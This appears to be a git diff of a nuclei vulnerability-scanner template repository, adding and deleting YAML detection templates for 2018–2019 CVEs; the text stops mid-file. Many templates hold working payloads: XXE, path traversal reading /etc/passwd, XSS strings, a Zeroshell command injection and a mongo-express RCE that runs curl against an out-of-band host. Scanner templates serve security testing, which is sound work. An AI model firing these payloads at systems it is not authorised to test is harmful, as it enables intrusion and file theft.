a/nuclei-templates/CVE-2018/cve-2018-8033.yaml b/nuclei-templates/CVE-2018/cve-2018-8033.yaml deleted file mode 100644 index 55f1fd7a8c..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-8033.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-8033 - -info: - name: Apache OFBiz XXE - author: pikpikcu - severity: high - description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04 - tags: cve,cve2018,apache,ofbiz,xxe - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2018-8033 - cwe-id: CWE-200 - reference: - - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E - -requests: - - raw: - - | - POST /webtools/control/xmlrpc HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Accept-Language: en - Content-Type: application/xml - - ]>&disclose; - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-8727.yaml b/nuclei-templates/CVE-2018/cve-2018-8727.yaml deleted file mode 100644 index b537efb4ad..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-8727.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2018-8727 - -info: - name: Mirasys DVMS Workstation 5.12.6 Path Traversal - author: 0x_akoko - severity: high - description: Mirasys DVMS Workstation versions 5.12.6 and below suffer from a path traversal vulnerability. - reference: - - https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html - - https://www.cvedetails.com/cve/CVE-2018-8727 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-8727 - cwe-id: CWE-22 - tags: cve,cve2018,mirasys,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini" - - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-9845.yaml b/nuclei-templates/CVE-2018/cve-2018-9845.yaml new file mode 100644 index 0000000000..3aff165b1f --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-9845.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-9845 + +info: + name: Etherpad Lite before 1.6.4 is exploitable for admin access. + author: philippedelteil + severity: critical + description: Etherpad Lite before 1.6.4 is exploitable for admin access. + reference: + - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4 + - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b + - https://nvd.nist.gov/vuln/detail/CVE-2018-9845 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-9845 + tags: cve,cve2018,etherpad,auth-bypass + +requests: + - method: GET + path: + - "{{BaseURL}}/Admin" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Etherpad version" + - "Plugin manager" + - "Installed parts" + condition: and + + - type: status + status: + - 200 diff --git "a/nuclei-templates/CVE-2018/cve-2018\342\200\22314064.yaml" "b/nuclei-templates/CVE-2018/cve-2018\342\200\22314064.yaml" new file mode 100644 index 0000000000..d07fc4a0b2 --- /dev/null +++ "b/nuclei-templates/CVE-2018/cve-2018\342\200\22314064.yaml" @@ -0,0 +1,21 @@ +id: cve-2018-14064 +info: + name: VelotiSmart Wifi - Directory Traversal + author: 0x_Akoko + severity: high + reference: | + - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac + - https://www.exploit-db.com/exploits/45030 + tags: velotismart,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-0230.yaml b/nuclei-templates/CVE-2019/CVE-2019-0230.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-0230.yaml rename to nuclei-templates/CVE-2019/CVE-2019-0230.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-1010287.yaml b/nuclei-templates/CVE-2019/CVE-2019-1010287.yaml deleted file mode 100644 index 984858c36c..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-1010287.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2019-1010287 - -info: - name: Timesheet 1.5.3 - Cross Site Scripting - author: pikpikcu - severity: medium - description: 'Timesheet Next Gen 1.5.3 and earlier is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via a "redirect" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url.' - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-1010287 - - http://www.mdh-tz.info/ - - https://sourceforge.net/p/tsheetx/discussion/779083/thread/7fcb52f696/ - - https://sourceforge.net/p/tsheetx/code/497/tree/branches/legacy/login.php#l40 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-1010287 - cwe-id: CWE-79 - metadata: - google-dork: inurl:"/timesheet/login.php" - tags: cve,cve2019,timesheet,xss - -requests: - - raw: - - | - POST /timesheet/login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '>' - part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-1010290.yaml b/nuclei-templates/CVE-2019/CVE-2019-1010290.yaml deleted file mode 100644 index 04ebb7d8c8..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-1010290.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2019-1010290 - -info: - name: Babel - Open Redirect - author: 0x_Akoko - severity: medium - description: Babel contains an open redirect vulnerability via redirect.php in the newurl parameter. An attacker can use any legitimate site using Babel to redirect user to a malicious site, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations. - remediation: | - Upgrade to Babel version 7.4.0 or later to mitigate this vulnerability. - reference: - - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/ - - http://dev.cmsmadesimple.org/project/files/729 - - https://nvd.nist.gov/vuln/detail/CVE-2019-1010290 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-1010290 - cwe-id: CWE-601 - epss-score: 0.00198 - epss-percentile: 0.57529 - cpe: cpe:2.3:a:cmsmadesimple:bable\:multilingual_site:*:*:*:*:*:cms_made_simple:*:* - metadata: - max-request: 1 - vendor: cmsmadesimple - product: bable\ - tags: cve,cve2019,redirect,babel - -http: - - method: GET - path: - - '{{BaseURL}}/modules/babel/redirect.php?newurl=http://interact.sh' - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 490a004630440220387878ef6292c32281b69d76d22d1833cfcf37aefd7665461f4fa9aa4a8c908a02201e0cab4e9fe60f0a856a455a87653fa0c22a12e9f93f7a149301a4adce973ff5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-10717.yaml b/nuclei-templates/CVE-2019/CVE-2019-10717.yaml deleted file mode 100644 index b8437cc1af..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-10717.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2019-10717 -info: - name: BlogEngine.NET 3.3.7.0 - Local File Inclusion - author: arafatansari - severity: high - description: | - BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter - reference: - - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect - - https://github.com/rxtur/BlogEngine.NET/commits/master - - https://nvd.nist.gov/vuln/detail/CVE-2019-10717 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - cvss-score: 7.1 - cve-id: CVE-2019-10717 - cwe-id: CWE-22 - metadata: - shodan-query: http.html:"Blogengine.net" - verified: "true" - tags: cve,cve2019,blogengine,lfi,traversal -requests: - - method: GET - path: - - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent" - matchers-condition: and - matchers: - - type: regex - regex: - - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' - - type: word - part: header - words: - - "application/json" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/08/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-10758.yaml b/nuclei-templates/CVE-2019/CVE-2019-10758.yaml deleted file mode 100644 index 920866b9dd..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-10758.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2019-10758 - -info: - name: mongo-express Remote Code Execution - author: princechaddha - severity: critical - description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment. - reference: - - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758 - - https://nvd.nist.gov/vuln/detail/CVE-2019-10758 - - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215 - remediation: Upgrade mongo-express to version 0.54.0 or higher. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - cvss-score: 9.9 - cve-id: CVE-2019-10758 - metadata: - shodan-query: http.title:"Mongo Express" - tags: cve,cve2019,mongo,mongo-express,cisa - -requests: - - raw: - - | - POST /checkValid HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic YWRtaW46cGFzcw== - Content-Type: application/x-www-form-urlencoded - - document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl http://{{interactsh-url}}") - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-11248.yaml b/nuclei-templates/CVE-2019/CVE-2019-11248.yaml deleted file mode 100644 index 89c2242da9..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-11248.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2019-11248 - -info: - name: Debug Endpoint pprof - Exposure Detection - author: 0xceeb,ritikchaddha - severity: high - description: | - The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. - reference: - - https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0 - - http://mmcloughlin.com/posts/your-pprof-is-showing - - https://github.com/kubernetes/kubernetes/issues/81023 - - https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ - - https://nvd.nist.gov/vuln/detail/CVE-2019-11248 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L - cvss-score: 8.2 - cve-id: CVE-2019-11248 - cwe-id: CWE-862 - cpe: cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:* - epss-score: 0.80033 - tags: cve,cve2019,debug,kubernetes,kubelet,devops,unauth,disclosure - metadata: - max-request: 2 - -http: - - method: GET - path: - - "{{BaseURL}}/debug/pprof/" - - "{{BaseURL}}/debug/pprof/goroutine?debug=1" - - stop-at-first-match: true - matchers: - - type: word - words: - - "Types of profiles available:" - - "Profile Descriptions" - - "goroutine profile: total" - condition: or - -# Enhanced by mp on 2022/06/15 diff --git a/nuclei-templates/wordpress/CVE-2019-11869-3761.yaml b/nuclei-templates/CVE-2019/CVE-2019-11869.yaml similarity index 100% rename from nuclei-templates/wordpress/CVE-2019-11869-3761.yaml rename to nuclei-templates/CVE-2019/CVE-2019-11869.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-12314.yaml b/nuclei-templates/CVE-2019/CVE-2019-12314.yaml deleted file mode 100644 index 4fc83720a1..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-12314.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2019-12314 - -info: - name: Deltek Maconomy 2.2.5 Local File Inclusion - author: madrobot - severity: critical - description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI. - reference: - - http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html - - https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm - - https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-12314 - cwe-id: CWE-22 - tags: cve,cve2019,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body - -# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-12461.yaml b/nuclei-templates/CVE-2019/CVE-2019-12461.yaml deleted file mode 100644 index 74c299fcfc..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-12461.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2019-12461 - -info: - name: WebPort 1.19.1 - Reflected Cross-Site Scripting - author: pikpikcu - severity: medium - description: Web Port 1.19.1 allows XSS via the /log type parameter. - reference: - - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS - - https://webport.se/nedladdningar/ - - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS/ - - https://emreovunc.com/blog/en/WebPort-Reflected-XSS-02.png - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-12461 - cwe-id: CWE-79 - tags: cve,cve2019,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '"" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "Please contact with administrator." + condition: and + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-12583.yaml b/nuclei-templates/CVE-2019/CVE-2019-12583.yaml deleted file mode 100644 index c6b9138d4b..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-12583.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2019-12583 -info: - name: Zyxel ZyWall UAG/USG - Account Creation Access - author: n-thumann,daffainfo - severity: critical - description: Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator via the "Free Time" component. This can lead to unauthorized network access or DoS attacks. - reference: - - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml - - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-12583 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.1 - cve-id: CVE-2019-12583 - cwe-id: CWE-425 - tags: cve,cve2019,zyxel,zywall -requests: - - method: GET - path: - - "{{BaseURL}}/free_time.cgi" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "free_time_redirect.cgi?u=" - - "&smsOnly=0" - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/01 diff --git a/nuclei-templates/CVE-2019/CVE-2019-12593.yaml b/nuclei-templates/CVE-2019/CVE-2019-12593.yaml new file mode 100644 index 0000000000..dcc7b9725c --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-12593.yaml @@ -0,0 +1,36 @@ +id: CVE-2019-12593 + +info: + name: IceWarp <=10.4.4 - Local File Inclusion + author: pikpikcu + severity: high + description: IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal. + reference: + - https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt + - https://nvd.nist.gov/vuln/detail/CVE-2019-12593 + - http://www.icewarp.com + - https://www.icewarp.com/downloads/trial/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-12593 + cwe-id: CWE-22 + metadata: + google-dork: Powered By IceWarp 10.4.4 + tags: cve,cve2019,lfi,icewarp + +requests: + - method: GET + path: + - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini' + - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "[intl]" + - "root:x:0" diff --git a/nuclei-templates/CVE-2019/CVE-2019-12616.yaml b/nuclei-templates/CVE-2019/CVE-2019-12616.yaml new file mode 100644 index 0000000000..3cb739ae8e --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-12616.yaml @@ -0,0 +1,56 @@ +id: CVE-2019-12616 + +info: + name: phpMyAdmin <4.9.0 - Cross-Site Request Forgery + author: Mohammedsaneem,philippedelteil,daffainfo + severity: medium + description: phpMyAdmin before 4.9.0 is susceptible to cross-site request forgery. An attacker can utilize a broken tag which points at the victim's phpMyAdmin database, thus leading to potential delivery of a payload, such as a specific INSERT or DELETE statement. + reference: + - https://www.phpmyadmin.net/security/PMASA-2019-4/ + - https://www.exploit-db.com/exploits/46982 + - https://nvd.nist.gov/vuln/detail/CVE-2019-12616 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.5 + cve-id: CVE-2019-12616 + cwe-id: CWE-352 + tags: csrf,edb,cve,cve2019,phpmyadmin + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/phpmyadmin/" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - 401 # password protected + + - type: word + words: + - "phpmyadmin.net" + - "phpMyAdmin" + condition: or + + - type: dsl + dsl: + - compare_versions(version, '< 4.9.0') + + extractors: + - type: regex + name: version + internal: true + group: 1 + regex: + - '\?v=([0-9.]+)' + + - type: regex + group: 1 + regex: + - '\?v=([0-9.]+)' + +# Enhanced by md on 2023/01/11 diff --git a/nuclei-templates/CVE-2019/CVE-2019-12725.yaml b/nuclei-templates/CVE-2019/CVE-2019-12725.yaml new file mode 100644 index 0000000000..69712322c3 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-12725.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-12725 + +info: + name: Zeroshell 3.9.0 Remote Command Execution + author: dwisiswant0,akincibor + severity: critical + description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters. + reference: + - https://www.zeroshell.org/new-release-and-critical-vulnerability/ + - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt + - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py + - https://zeroshell.org/blog/ + remediation: Upgrade to 3.9.5. Be aware this product is no longer supported. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-12725 + cwe-id: CWE-78 + tags: cve,cve2019,rce,zeroshell + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW=" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + part: body + regex: + - "root:.*:0:0:" + +# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-13101.yaml b/nuclei-templates/CVE-2019/CVE-2019-13101.yaml new file mode 100644 index 0000000000..cbe878b862 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-13101.yaml @@ -0,0 +1,41 @@ +id: CVE-2019-13101 + +info: + name: D-Link DIR-600M - Authentication Bypass + author: Suman_Kar + severity: critical + description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page. + reference: + - https://github.com/d0x0/D-Link-DIR-600M + - https://www.exploit-db.com/exploits/47250 + - https://nvd.nist.gov/vuln/detail/CVE-2019-13101 + - https://us.dlink.com/en/security-advisory + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-13101 + cwe-id: CWE-306 + epss-score: 0.04204 + tags: edb,cve,cve2019,dlink,router,iot + metadata: + max-request: 1 + +http: + - raw: + - | + GET /wan.htm HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "/PPPoE/" + part: body + +# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-14251.yaml b/nuclei-templates/CVE-2019/CVE-2019-14251.yaml deleted file mode 100644 index 9b1fec3938..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-14251.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-14251 -info: - name: T24 in TEMENOS Channels R15.01 - Pre Authenticated Path Traversal - author: 0x_Akoko - severity: high - description: An unauthenticated path traversal vulnerability was discovered permitting an attacker to exfiltrate data directly from the T24 web server. - reference: - - https://github.com/kmkz/exploit/blob/master/CVE-2019-14251-TEMENOS-T24.txt - - https://www.cvedetails.com/cve/CVE-2019-14251 - - https://vuldb.com/?id.146815 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-14251 - cwe-id: CWE-22 - tags: cve,cve2019,temenos,lfi,unauth -requests: - - method: GET - path: - - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=/etc/passwd" - - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=c:/windows/win.ini" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - "for 16-bit app support" - condition: or - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-14312.yaml b/nuclei-templates/CVE-2019/CVE-2019-14312.yaml new file mode 100644 index 0000000000..435aa1b6e5 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-14312.yaml @@ -0,0 +1,34 @@ +id: CVE-2019-14312 + +info: + name: Aptana Jaxer 1.0.3.4547 - Local File inclusion + author: daffainfo + severity: medium + description: Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI. + reference: + - https://www.exploit-db.com/exploits/47214 + - https://www.cvedetails.com/cve/CVE-2019-14312 + - http://packetstormsecurity.com/files/153985/Aptana-Jaxer-1.0.3.4547-Local-File-Inclusion.html + - https://github.com/aptana/Jaxer/commits/master + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2019-14312 + cwe-id: CWE-22 + tags: cve,cve2019,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-14322.yaml b/nuclei-templates/CVE-2019/CVE-2019-14322.yaml new file mode 100644 index 0000000000..e908bde536 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-14322.yaml @@ -0,0 +1,37 @@ +id: CVE-2019-14322 + +info: + name: Odoo 12.0 - Local File Inclusion + author: madrobot + severity: high + description: In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames. + reference: + - https://palletsprojects.com/blog/werkzeug-0-15-5-released/ + - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-14322 + cwe-id: CWE-22 + tags: cve,cve2019,lfi,odoo + +requests: + - method: GET + path: + - "{{BaseURL}}/base_import/static/c:/windows/win.ini" + - "{{BaseURL}}/web/static/c:/windows/win.ini" + - "{{BaseURL}}/base/static/c:/windows/win.ini" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-14974.yaml b/nuclei-templates/CVE-2019/CVE-2019-14974.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-14974.yaml rename to nuclei-templates/CVE-2019/CVE-2019-14974.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-15811.yaml b/nuclei-templates/CVE-2019/CVE-2019-15811.yaml new file mode 100644 index 0000000000..a8adc52d15 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-15811.yaml @@ -0,0 +1,42 @@ +id: CVE-2019-15811 +info: + name: DomainMOD 4.13.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via /reporting/domains/cost-by-month.php in Daterange parameters. + reference: + - https://www.exploit-db.com/exploits/47325 + - https://github.com/domainmod/domainmod/issues/108 + - https://zerodays.lol/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-15811 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2019,domainmod,xss,authenticated +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + redirects: true + max-redirects: 2 + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(all_headers_2, "text/html")' + - 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")' + - 'contains(body_2, "DomainMOD")' + condition: and diff --git a/nuclei-templates/CVE-2019/CVE-2019-15859.yaml b/nuclei-templates/CVE-2019/CVE-2019-15859.yaml deleted file mode 100644 index cfdbc56cc2..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-15859.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2019-15859 - -info: - name: Socomec DIRIS Password Disclosure - author: geeknik - description: Password disclosure in the web interface on socomec DIRIS A-40 devices before 48250501 allows a remote attacker to get full access to a device via the /password.jsn URI. - reference: https://seclists.org/fulldisclosure/2019/Oct/10 - severity: critical - tags: cve,cve2019,disclosure,socomec,diris,iot - -requests: - - method: GET - path: - - "{{BaseURL}}/password.jsn" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "text/json" - part: header - - type: word - words: - - "username" - - "password" - part: body - condition: and diff --git a/nuclei-templates/CVE-2019/CVE-2019-16123.yaml b/nuclei-templates/CVE-2019/CVE-2019-16123.yaml deleted file mode 100644 index 7d6db6f47e..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-16123.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2019-16123 - -info: - name: PilusCart <= 1.4.1 - Arbitrary File Retrieval - author: 0x_Akoko - severity: high - description: PilusCart versions 1.4.1 and below suffers from a file disclosure vulnerability. - reference: - - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html - - https://www.cvedetails.com/cve/CVE-2019-16123 - - https://www.exploit-db.com/exploits/47315 - - https://zerodays.lol/ - classification: - cvss-metrics: 